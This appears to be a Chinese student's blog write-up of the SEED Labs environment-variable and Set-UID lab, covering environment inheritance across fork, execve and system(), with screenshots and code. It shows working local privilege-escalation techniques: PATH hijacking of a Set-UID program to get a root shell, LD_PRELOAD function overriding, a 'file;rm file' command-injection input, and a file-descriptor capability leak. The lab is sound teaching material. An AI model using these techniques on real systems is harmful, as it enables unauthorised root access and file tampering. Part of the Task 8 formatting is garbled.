软件安全实验 SEEDlabs 环境变量与Set-UID 实验

Task 1:配置环境变量

本任务中,我们学习设置和删除环境变量的指令。我们用Bash来完成。用户使用的默认的shell设置 在文件/etc/passwd中(每一项的最后一个字段)。你可以用 chsh命令来修改shell程序(本实验无需修 改)

使用 printenv或者 env指令来打印环境变量。

image-20251007210348172

image-20251007210424627

如果你对某个特定的环境变量感兴趣,比如 PWD, 你可以用指令“printenv PWD”或者“env | grep PWD”。

image-20251007210550572

使用 export和 unset来设置或者取消环境变量。注意:这两个指令不是单独的程序;它们是两个 Bash 的内部指令(即,你不能在Bash外调用它们噢)

  • 使用export设置环境变量,使用unset取消环境变量:

image-20251007211331430

Task 2:从父进程向子进程传递环境变量

本任务中,我们研究子进程是如何继承父进程的环境变量的。Unix操作系统中,fork()系统调用会 复制发起调用的进程,创建一个新进程。新进程称作子进程,被复制的进程称作父进程。然而,有些东西 是没有被子进程继承的(在命令行中输入指令 man fork,可以查看 fork()的指南)。在本任务中,我们 想要知道子进程是否继承了父进程的环境变量。

第1步 编译并运行以下程序,描述你的观察。在文件夹 LabSetup中,执行gcc myprintenv.c命令编 译,这将生成一个名为a.out的二进制文件。然后使用a.out > file命令,运行并将输出保存到一个文件中。

image-20251007212852868

第2步现在注释掉子进程中的printenv()语句,并取消注释父进程中的printenv()语句 。再次编译gcc myprintenv.c -o b.out并运行代码,描述你的观察结果。将输出保存在另一个文件中b.out > o2.txt

image-20251007212024597

第3步使用diff命令比较这两个文件的差异。

image-20251007212917420

结论

父进程和子进程继承了完全相同的环境变量,除了记录程序名的 _。fork出来的子进程会继承父进程的环境变量。程序名的环境变量 _ 反映了执行的二进制文件名。

Task 3:环境变量和execve()

本任务中,我们研究通过execve()运行一个新程序,环境变量是如何受影响的。函数execve()调用系统调用来加载新命令并执行它;这个函数永远不会返回。没有创建新进程;相反,调用进程的代码段、数据段、bss段和栈被加载的程序覆盖。本质上,execve()在调用进程中运行了新程序。我们对环境 变量发生了什么感兴趣;它们会被新程序自动继承吗?

第1步编译并运行以下程序,描述你的观察。这个程序简单地执行了一个名为“/usr/bin/env”的程序, 它的作用是打印出当前进程的环境变量。

image-20251008170455575

发现输出为空。

第2步将第行中execve()的调用更改为以下内容,即修改execve("/usr/bin/env", argv, NULL);execve("/usr/bin/env",argv,environ);;描述你的观察。

image-20251008170358557

image-20251008170519038

发现打印出了当前进程的环境变量。

第3步请就新程序如何获取其环境变量得出你的结论:

execve()函数的原型是:

1
int execve(const char *pathname, char *const argv[], char *const envp[]);
  • pathname: 要执行的程序的路径。
  • argv: 参数数组,以 NULL 结尾,包含传递给程序的命令行参数。
  • envp: 环境变量数组,也以 NULL 结尾。

新程序通过execve()函数的第三个参数传递的environ变量来获取环境变量。

使用 execve() 启动新程序时,新程序的环境变量是否存在,完全由第三个参数 envp 决定。如果传 NULL,则没有环境变量;如果传 environ,则继承父进程的所有环境变量。

Task 4:环境变量和system()

本任务中,我们研究通过system()运行一个新程序,环境变量是如何受影响的。system()也是用来 执行一个命令的,但是和execve()直接执行一个命令不同,system()实际上执行“/bin/sh-ccommand”, 即它先执行/bin/sh,然后让shell执行这个command。

如果你查阅system()函数的实现,你会发现它使用execl()来执行/bin/sh;execl()调用execve(), 并将环境变量数组传递给它。因此,使用system()时,调用进程的环境变量会传递给新程序/bin/sh。 请编译并运行以下程序来验证这一点。

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>

int main()
{
system("/usr/bin/env");
return 0;
}

image-20251008171025518

image-20251008171110213

我们使用man system查看函数的手册:

image-20251008171209578

可以看到system()函数是通过创建一个子进程,执行execl("/bin/sh", "sh", "-c", command, (char *) NULL);,调用进程的环境变量会传递给新程序/bin/sh

注意,execl 里的 (char *) NULL 只是参数列表的结束,并不会影响环境变量的传递。环境变量默认总是会自动传递给新程序,除非你用 execve 并且显式把 envp 设为 NULL。

如果你要控制新程序的环境变量,应该用 execveexecle

Task 5:环境变量和Set-UID程序

Set-UID 是Unix 系统中重要的安全机制。当 Set-UID程序执行时,它将获得程序拥有者的权限。如 果程序所有者是root,所有执行该程序的用户都将以root权限执行该程序。Set-UID使得我们可以做许多 有趣的事情,但是在执行 Set-UID程序时,会提高执行者的权限,这是有风险的。尽管 Set-UID的行为 是由他们的程序逻辑所决定的,而不是用户决定的,用户却可以通过环境变量来修改 Set-UID的行为。 为了理解 Set-UID程序是如何被影响的,我们首先弄清楚 Set-UID程序的环境变量是否由用户程序继承 而来

第1步 编写以下程序,打印当前进程的所有环境变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>

extern char **environ;
void main()
{
int i = 0;
while (environ[i] != NULL)
{
printf("%s\n", environ[i]);
i++;
}
}

第2步 编译上述程序得到foo,将其所有者更改为root,并使其成为一个 Set-UID程序。

1
2
3
// Asssume the program’s name is foo
$ sudo chown root foo
$ sudo chmod 4755 foo

查看一下foo的权限,发现所有者更改为了root。

image-20251008172544326

第3步 在你的shell(你需要确保你在普通用户帐户中,而不是root帐户中)中,使用export命令设置 以下环境变量(它们可能已经存在):

  • PATH
  • LD_LIBRARY_PATH
  • ANY_NAME(这个环境变量是你自己定义的,随便取一个名字即可)

image-20251008173213165

这些环境变量是在普通用户的shell进程中设置的。现在,在你的shell中运行第2步中的Set-UID程 序。在shell中键入程序名后,shell会fork一个子进程,并使用子进程来运行该程序。请检查你在shell进 程(父进程)中设置的所有环境变量是否都进入了Set-UID子进程。描述你的观察。如果你有惊奇的发 现,请描述它们。

然后运行foo并查看这些环境变量的值

image-20251008173417359

发现只有在父进程中设置的PATHMY_NAME的环境变量进入子进程,而LD_LIBRARY_PATH这个环境变量没有进入子进程。

原因:LD_LIBRARY_PATH这个环境变量设置的是动态链接器的地址,由于动态链接器的保护机制,虽然在一个root权限的程序下创建子进程并继承父进程的环境变量,但由于我们是在普通用户下修改的LD_LIBRARY_PATH这个环境变量,所以是无法在子进程中生效的,而PATHMY_NAME则没有这种保护机制,因此可以被成功设置。

Task 6:PATH环境变量和Set-UID程序

由于调用了shell程序,在Set-UID程序中调用system()是非常危险的。这是因为shell程序的实际 行为会受到环境变量的影响,例如PATH环境变量;这些环境变量由用户提供,可能是恶意的。通过更改这些变量,恶意用户可以控制Set-UID程序的行为。在Bash中,你可以通过以下方式更改PATH环境变 量(本示例将目录 /home/seed添加到PATH环境变量的开头):

1
$ export PATH=/home/seed:$PATH

image-20251008174702568

Note: system(cmd) 函数首先执行 /bin/sh 程序,然后要求这个shell 程序运行cmd命令。在Ubuntu 20.04(以及之前的几个版本)中,/bin/sh实际上是指向/bin/dash的符号链接。这个shell程序有一个 对策,可以防止自己在Set-UID进程中被执行。基本上,如果dash检测到它是在Set-UID进程中执行的, 它会立即将有效用户ID更改为进程的真实用户ID,从而基本上放弃特权。由于我们的受害程序是一个 Set-UID 程序,因此/bin/dash中的对策可以阻止我们的攻击。

为了了解我们的攻击如何在没有这种对策的情况下进行,我们将/bin/sh链接到另一个没有这种对 策的shell。我们在Ubuntu20.04VM中安装了一个名为zsh的shell程序。我们使用以下命令将/bin/sh 链接到/bin/zsh:

1
sudo ln -sf /bin/zsh /bin/sh

下面的Set-UID程序应该执行/bin/ls命令;但是,程序员只使用ls命令的相对路径,而不是绝对 路径:

1
2
3
4
5
6
#include<stdio.h>
#include<stdlib.h>
int main(){
system("ls");
return 0;
}

请编译上述程序,将其所有者更改为root,并使其成为 Set-UID程序。你能让这个Set-UID程序运行你 自己的恶意代码,而不是/bin/ls吗?如果可以,你的恶意代码是否以root权限运行?描述并解释你的 观察。

image-20251008174556832

可以看出,编译出来的LS文件确实执行了system("ls")的操作,更改后的文件所有者确实变成了root

我们在/home/seed下编写我们的恶意代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

extern char **environ;

int main() {
// 获取执行恶意代码的进程的euid
uid_t euid = geteuid();

// 获取一个 shell
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, environ);

// 如果 execve 失败
perror("execve");
return 0;
}

然后编译并命名成ls

1
gcc matrix.c -o ls

然后再执行我们的myls文件:

image-20251008175616862

发现可以使用Set-UID程序运行我们的恶意代码,而且恶意代码是以root权限运行的。

Task 7:LD_PRELOAD环境变量和Set-UID程序

在这个任务中,我们研究Set-UID程序如何处理某些环境变量,包括LD_PRELOAD、LD_LIBRARY_PATH 和其他LD_*如何影响动态加载器/链接器的行为。动态加载器/链接器是操作系统(OS)的一部分,它加载 (从持久性存储到RAM)并链接可执行文件在运行时所需的共享库。

在Linux 中,ld.so或ld-linux.so是动态加载器/链接器(用于不同类型的二进制文件)。在影响其 行为的环境变量中,本实验关注LD_LIBRARY_PATH和LD_PRELOAD。在Linux中,LD_LIBRARY_PATH是一 组以冒号分隔的目录,应首先在其中搜索库,然后是标准目录集。LD_PRELOAD指定了要在所有其他库之 前加载的附加的用户指定的共享库的列表。在这个任务中,我们将只研究LD_PRELOAD。

第1步 首先,我们将看到这些环境变量在运行普通程序时如何影响动态加载器/链接器的行为。请按照 以下步骤操作:

  1. 让我们构建一个动态链接库。创建以下程序,并将其命名为mylib.c。它基本上覆盖了libc中的 sleep() 函数:
1
2
3
4
5
6
7
#include <stdio.h>
void sleep(int s)
{
/* If this is invoked by a privileged program ,
you can do damages here! */
printf("I am not sleeping!\n");
}
  1. 编译以上程序用下述指令(注意-lc中的是l)
1
2
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
  1. 设置LD_PRELOAD环境变量的值
1
export LD_PRELOAD=./libmylib.so.1.0.1
  1. 最后编译下面的程序myprog,和上面的动态链接库libmylib.so.1.0.1在同一目录下:
1
2
3
4
5
6
7
/* myprog.c */
#include <unistd.h>
int main()
{
sleep(1);
return 0;
}

第2步 完成上述操作后,请在以下条件下运行myprog,观察会发生什么。

  • 使 myprog 为一个普通程序,以普通用户身份执行它。

image-20251008180924203

发现执行的是我们编写的sleep函数。

  • 使 myprog 为一个 Set-UID 特权程序,以普通用户身份执行它。

image-20251008180945383

发现等待了一秒后,没有输出,说明执行的是libc中的sleep()函数。

  • 使 myprog 为一个 Set-UID 特权程序,在 root 下重新设置 LD_PRELOAD 环境变量,并执行它。

image-20251008181004558

发现执行的是我们编写的sleep函数。

  • 使myprog为一个 Set-UIDuser1程序(user1是程序的所有者,即另一个用户账户),在不同的用户 账户下重新加LD_PRELOAD环境变量,并执行它。

image-20251008181705198

image-20251008181713896

发现等待了一秒后,没有输出,说明执行的是libc中的sleep()函数。

第3步 虽然你运行的是同一个程序,你也应该能够在上述场景中观察到不同的行为。你需要找出导致差 异的原因。是环境变量在这里发挥了作用。请设计一个实验来找出主要原因,并解释为什么第二步中的行 为不同。(提示:子进程可能不会继承LD_*环境变量)

设计一个实验来找出导致这些差异的原因,并解释为什么第二步的行为不同。

设计实验:

本实验旨在探究 Linux 系统中 Set-UID 程序执行时环境变量(尤其是 LD_PRELOAD)是否继承父进程,及其与进程 uid/euid 的关系。

改进myprog.cmyprog2.c(打印这个程序运行时的进程的uideuid以及LD_PRELOAD环境变量的值)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
sleep(1);
uid_t uid = getuid();
uid_t euid = geteuid();
printf("uid=%d (%s)\n", uid, getenv("USER"));
printf("euid=%d\n", euid);
char *preload = getenv("LD_PRELOAD");
printf("LD_PRELOAD: %s\n", preload ? preload : "(null)");
printf("PID=%d\n", getpid());
return 0;
}

自动化运行上面四个场景,这里直接写一个shell脚本myprog.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash

set -e

echo "===== 清理环境变量 ====="
unset LD_PRELOAD

echo "===== 编译自定义库 ====="
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc

echo "===== 编译主程序 ====="
gcc myprog2.c -o myprog

echo "===== 当前用户信息 ====="
id

echo "===== 场景1:普通程序,seed用户 ====="
sudo chown seed myprog
sudo chmod 755 myprog
export LD_PRELOAD=./libmylib.so.1.0.1
echo "[环境变量]" ; env | grep LD_PRELOAD
id
./myprog
unset LD_PRELOAD

echo "===== 场景2:Set-UID root程序,seed用户 ====="
sudo chown root myprog
sudo chmod 4755 myprog
export LD_PRELOAD=./libmylib.so.1.0.1
echo "[环境变量]" ; env | grep LD_PRELOAD
id
./myprog
unset LD_PRELOAD

echo "===== 场景3:Set-UID root程序,root用户 ====="
sudo su <<EOF
export LD_PRELOAD=./libmylib.so.1.0.1
echo "[环境变量]" ; env | grep LD_PRELOAD
id
./myprog
EOF

echo "===== 场景4:Set-UID user1程序,seed用户 ====="
sudo chown user1 myprog
sudo chmod 4755 myprog
export LD_PRELOAD=./libmylib.so.1.0.1
echo "[环境变量]" ; env | grep LD_PRELOAD
id
./myprog
unset LD_PRELOAD

运行结果如下:

image-20251008183659763

运行结果分析总结

场景1:普通程序,seed用户

  • uid/euid:都是 seed
  • LD_PRELOAD:被子进程完整继承并生效
  • sleep函数:被你的自定义库劫持(输出 “I am not sleeping!”)

场景2:Set-UID root程序,seed用户

  • uid:seed
  • euid:root(权限提升)
  • LD_PRELOAD:在程序运行时被清除(显示为 (null)
  • sleep函数:没有被劫持,执行的是 libc 的原版 sleep

场景3:Set-UID root程序,root用户

  • uid/euid:都是 root
  • LD_PRELOAD:继承并生效
  • sleep函数:被你的自定义库劫持(输出 “I am not sleeping!”)

场景4:Set-UID user1程序,seed用户

  • uid:seed
  • euid:user1(权限提升)
  • LD_PRELOAD:被清除(显示为 (null)
  • sleep函数:没有被劫持,执行的是 libc 的原版 sleep
程序类型 执行用户 uid euid LD_PRELOAD环境变量 执行的sleep函数
普通程序 seed seed seed 继承父进程 我们编写的
Set-UID程序 seed seed root 没有继承父进程 libc的
Set-UID程序 root root root 继承父进程 我们编写的
Set-UID user1程序 seed seed user1 没有继承父进程 libc的

结论:

通过以上脚本自动化测试,充分验证了 Set-UID 程序下环境变量 LD_PRELOAD 的继承情况。

当程序的 uid 与 euid 不一致时(即发生权限提升),操作系统会自动清除 LD_PRELOAD 等危险环境变量,防止通过动态库劫持进行提权攻击。只有当 uid 和 euid 一致时,环境变量才会被完整继承,LD_PRELOAD 才有效,sleep 函数才能被劫持。

也就是:

只有当 uid 和 euid 一致时(无权限提升),环境变量 LD_PRELOAD 才会被继承和生效。

当程序以 Set-UID 方式运行并发生权限提升(uid ≠ euid),系统会自动清除 LD_PRELOAD(和其它危险变量),防止动态库劫持造成提权漏洞。

root 用户运行 Set-UID 程序时,因没有权限提升,LD_PRELOAD 依然有效,sleep 可被劫持。

Task 8:使用 system() 与 execve() 调用外部程序的对比

尽管 system()和 execve()都可以被用于执行新的程序,但是 system()在高特权态下更加危险, 比如 Set-UID程序。在前面的任务里,我们看到了 PATH环境变量是如何影响 system()的行为的,因为 该变量会影响shell的工作。execve()则没有这个问题,因为它不调用shell。除了环境变量,调用shell 还有另外危险的结果。

Bob 为一家审计机构工作,他需要调查一家公司是否有涉嫌欺诈。为了调查的目的,Bob需要能够读 取该公司Unix系统中的所有文件;另一方面,为了保护系统的完整性,Bob不能修改任何文件。为了实现 这一目标,系统超级用户Vince写了一个特殊的设置Set-UIDroot程序(见下文),然后授权了Bob该程序 的执行权限。该程序需要Bob在命令行中键入文件名,然后运行/bin/cat显示了指定的文件。由于程序在root权限下运行,它可以显示Bob指定的任何文件。然而,由于程序没有写操作,所以Vince非常确定 Bob不能使用这个特殊的程序来修改任何文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *v[3];
char *command;

if(argc < 2) {
printf("Please type a file name.\n");
return 1;
}

v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command , "%s %s", v[0], v[1]);

system(command);
// execve(v[0], v, NULL);

return 0 ;
}

第一步编译上述程序,使其成为root所有的Set-UID程序。该程序将使用system()来调用该命令。如果你是Bob,你能损害系统的完整性吗?例如,你可以删除对你没有写权限的文件吗?

使其成为root所有的 Set-UID 程序,然后创建一个seed没有写权限的文件;发现catcall有命令注入漏洞,可以调用system()执行其他系统命令; 使用命令catcall "test.txt;rm test.txt"成功将没有写权限的test.txt删除。

image-20251008191320178

第二步注释掉system(command)语句,取消注释execve()语句;程序将使用execve()来调用命令。 编译程序,并使其成为root拥有的Set-UID程序。你在第一步中的攻击仍然有效吗?请描述并解释你的 观察结果。

image-20251008191617485

创建一个seed没有写权限的文件,再使用命令catcall "test.txt;rm test.txt"

image-20251008192540177

发现无法删除test.txt,攻击失效。

system() 的行为与风险

  • system(command) 实际上会启动一个新的 shell(如 /bin/sh/bin/bash),让 shell 来解释和执行你的命令字符串。shell 会对命令字符串做解析,比如支持分号、管道、重定向等。
  • 当你执行:
1
catcall "test.txt;rm test.txt"

system(command) 最终执行的内容是:

  • /bin/cat test.txt;rm test.txt
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10

    shell 会把分号当作**命令分隔符**,先执行 `/bin/cat test.txt`,再执行 `rm test.txt`

    - **因为这个程序是 Set-UID root(以 root 权限运行),所有这些命令都拥有 root 权限**。即使你没有删除权限,`rm` 也能删除只读文件。这就是所谓的**命令注入漏洞**:攻击者可以通过构造特殊的参数,执行原本不允许的命令,危害系统安全。

    **execve() 的行为与安全性**

    - `execve()` 是直接调用操作系统内核,启动一个新的程序(如 `/bin/cat`),并把参数数组传给它。没有 shell 参与——**不会做任何解析或解释**,只会把参数原样传递。
    - 例如:

    execve("/bin/cat", {"/bin/cat", "test.txt;rm test.txt", NULL}, NULL);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

`/bin/cat` 只会把 `"test.txt;rm test.txt"` 当作**一个文件名**去尝试读取(不会执行其中分号后的命令)。

由于没有 shell 解析,**命令注入攻击失效**。你传递任何分号、管道等特殊字符,都不会被解释为命令,只是普通的参数字符串。

## Task 9:权限泄漏

为了遵循最小权限原则,Set-UID程序如果不再需要这种权限,它会永久地放弃root权限。此外,有 时程序需要将其控制权交给用户,在这种情况下,root权限必须被撤销。setuid()系统调用可以用来撤 销权限。根据手册,setuid()设置调用进程的有效用户ID。如果调用者的有效UID是root,真实的UID 和保存的set-user-id也被设置。因此,如果一个有效UID0的Set-UID程序调用setuid(n),则该进 程将成为正常进程,其所有的UID都设置为n。

当撤销权限的时候,最常见的错误就是权限泄露。该进程可能在它仍然享有特权时已经获得了一些特 权功能。当特权降级时,如果程序没有清理这些功能,则它们仍然可以由非特权进程访问。换句话说,虽 然进程的有效用户ID变为非特权,但是该进程仍具有特权,因为它具有特权能力。

编译以下程序,将其所有者更改为root,并使其成为Set-UID程序。以普通用户身份运行程序。你 能利用这个程序中的权限泄漏漏洞吗?目标是以普通用户身份写入/etc/zzz文件。

```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main()
{
int fd;
char *v[2];

/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644.
* Before running this program, you should create
* the file /etc/zzz first. */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
if (fd == -1) {
printf("Cannot open /etc/zzz\n");
exit(0);
}

// Print out the file descriptor value
printf("fd is %d\n", fd);

// Permanently disable the privilege by making the
// effective uid the same as the real uid
setuid(getuid());

// Execute /bin/sh
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}

文件描述符(File Descriptor,简称 fd)是操作系统中用于管理和操作文件或其他输入/输出资源(如网络连接、管道等)的一个重要概念。当打开一个文件时,操作系统会返回一个文件描述符,后续的读写操作都通过这个描述符进行。

我们在/etc下创建文件zzz,并运行cap_leak

此时输出了zzz文件的文件描述符fd(File Descriptor),并且执行了setuid(getuid())操作,将进程的uid改为了当前用户的,也就是将uid设为seed,然后调用execve()函数执行了bin/sh开启了一个shell。

虽然这个进程的有效用户ID是 seed ,但是该进程仍然拥有特权,我们可以以普通用户的身份将恶意代码写入/etc/zzz文件中,这个过程需要利用文件描述符fd。

image-20251008195315713

可以发现成功写入了文件。

原理

虽然程序用 setuid(getuid()) 把自己的权限降到了普通用户(seed),但在降权之前已经用 root 权限打开了 /etc/zzz 这个文件,并拿到了一个“文件钥匙”(文件描述符)。
后面程序通过 execve() 启动了一个新的 shell,这个“文件钥匙”也被带进了新的 shell。
结果就是,虽然新 shell 已经不是 root 权限,但它还能用这把“文件钥匙”往原本只有 root 能写的 /etc/zzz 文件里写东西,相当于钻了系统权限的空子,实现了“权限泄露”。


软件安全实验 SEEDlabs 环境变量与Set-UID 实验
http://example.com/2026/test35/
作者
sangnigege
发布于
2026年4月15日
许可协议